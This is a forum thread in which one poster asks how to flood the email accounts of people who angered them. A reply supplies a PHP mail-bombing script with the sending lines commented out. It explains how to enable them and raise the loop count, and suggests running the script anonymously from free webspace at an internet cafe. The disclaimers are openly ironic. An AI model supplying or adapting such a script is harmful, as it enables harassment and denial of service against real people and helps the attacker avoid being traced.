Citizen Art

Funny title I know but a few people have pissed me off and i want to know (theoretically, of course) how I can either send them so much rubbish it brings their mail account to it's knees or some way of really messing them around.

Please don't judge me. I'm not a bad person

Any reprehensible suggestions welcomed with glee

Personally, I would never use code like this example below.

<?php
# Code for illustrative purposes only. This should
# not be used with malicious intent.

$counter = 1;

//$targetEmail = "unpopular.person@someplace.cock";
//$mailFrom = "Someone you've annoyed";
//$mailTo = "Target <$targetEmail>";
//$mailSubject = "We do not like you very much";
//$message = "Insert email message here...";

while($counter <= 100)
{
//mail($mailTo, $mailSubject, $message, $mailFrom);
echo $counter . "<br />";
$counter++;
}
?>

Upload and run it and you'll see it echos the value of $counter to the screen 100 times (really quickly). Now imagine what would happen if you removed the echo and un-commented the rest and increased the condition in the while block to 1000 or more

Again, I'd stress that I'd never go to an internet cafe, upload this to some free webspace and run it from there. I'm pretty sure that's what the bad folk would do.

Winkerty wink

Don't pretend you're not as bad as me